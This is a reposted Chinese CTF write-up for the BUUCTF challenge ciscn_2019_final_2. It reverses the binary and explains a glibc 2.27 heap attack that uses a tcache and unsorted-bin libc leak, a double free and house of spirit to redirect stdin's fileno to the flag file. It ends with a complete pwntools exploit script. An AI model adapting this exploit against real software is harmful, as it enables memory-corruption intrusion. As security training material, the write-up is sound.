ciscn_2019_final_2


逆向分析

------------------------
1: add an inode 
2: remove an inode 
3: show an inode 
4: leave message and exit. 
------------------------
which command?
> 

init 函數

  fd = open("flag", 0);
  if ( fd == -1 )
  {
    puts("no such file :flag");
    exit(-1);
  }
  dup2(fd, 666);
  • 程序開始時將 flag 的 fd 指針改為 666 .

add 函數

    int_pt = malloc(0x20uLL);
    short_pt = malloc(0x10uLL);
    bool = 1;
    v0 = int_pt;
    *v0 = get_atoi();
    v1 = get_atoi();
    *(_WORD *)short_pt = v1;
    *((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
    *((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
  • 可以分配 0x20 或 0x10 大小的 chunk 。
  • 將輸入的數字存儲在 mem 指針起始處。
  • 在 mem 指針 8 字節偏移處存儲輸入的數字。

remove 函數

    if ( bool )
    free(int_pt);
    bool = 0;
    free(short_pt);
    bool = 0;
  • 釋放指針對應的塊,注意指針置 0 。
  • 全局變量的限制,不能連續釋放。

show 函數

    v0 = show_time--;
    printf("your int type inode number :%d\n", *(unsigned int *)int_pt);
    printf("your short type inode number :%d\n", (unsigned int)*(signed __int16 *)short_pt);
  • show_time 限制只能 show 三次。
  • 打印 chunk 的內容。

leave 函數

    __isoc99_scanf("%99s", &v0);
    printf("your message :%s we have received...\n", &v0);
  • 寫入 message 並輸出。

利用思路

  • 分配足夠多的 tcachebin 使其合並進入 unorted bin 。
  • 通過 unsorted bin 的 fd 指針泄露 libc 的基址,並計算出 fileno 的地址。
  • 運用 double free 與 house of spirit 技術將 stdin 的 fileno 改為 666 ,這樣 scanf 的時候就會從 flag 文件中讀取數據。
  • 觸發 leave 函數,打印 flag 。

exp 腳本

from pwn_debug import *

pdbg = pwn_debug('ciscn_final_2')
pdbg.debug('2.27')
pdbg.remote('node3.buuoj.cn',25742)
p = pdbg.run('remote')
elf = ELF('./ciscn_final_2')
libc = ELF('./libc/libc-2.27.so')

def add(add_type, add_num):
    p.sendlineafter('which command?\n> ', '1')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(add_type))
    p.sendafter('your inode number:', str(add_num))

def remove(remove_type):
    p.sendlineafter('which command?\n> ', '2')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(remove_type))

def show(show_type):
    p.sendlineafter('which command?\n> ', '3')
    p.sendlineafter('TYPE:\n1: int\n2: short int\n>', str(show_type))
    if show_type == 1:
        p.recvuntil('your int type inode number :')
    elif show_type == 2:
        p.recvuntil('your short type inode number :')
    return int(p.recvuntil('\n', drop=True))

add(1,0x30)
remove(1)
add(2,0x20)
add(2,0x20)
add(2,0x20)
add(2,0x20)
remove(2)
add(1,0x30)
remove(2)
addr_chunk0_prev_size = show(2) - 0xa0
add(2, addr_chunk0_prev_size)
add(2, addr_chunk0_prev_size)
add(2, 0x91)

for i in range(0, 7):
    remove(1)
    add(2, 0x20)
remove(1)

addr_main_arena = show(1) - 96
libcbase = addr_main_arena - libc.sym['__malloc_hook'] - 0x10
addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_'] + 0x70

add(1, addr__IO_2_1_stdin__fileno)
add(1, 0x30) 
remove(1)
add(2, 0x20)
remove(1)
addr_chunk0_fd = show(1) - 0x30
add(1, addr_chunk0_fd)
add(1, addr_chunk0_fd)
add(1, 111)
add(1, 666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')

p.interactive()

get flag

內容來源

【BUUCTF】Pwn--Ciscn_2019_final_2
感謝 binLep 師傅的指點!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM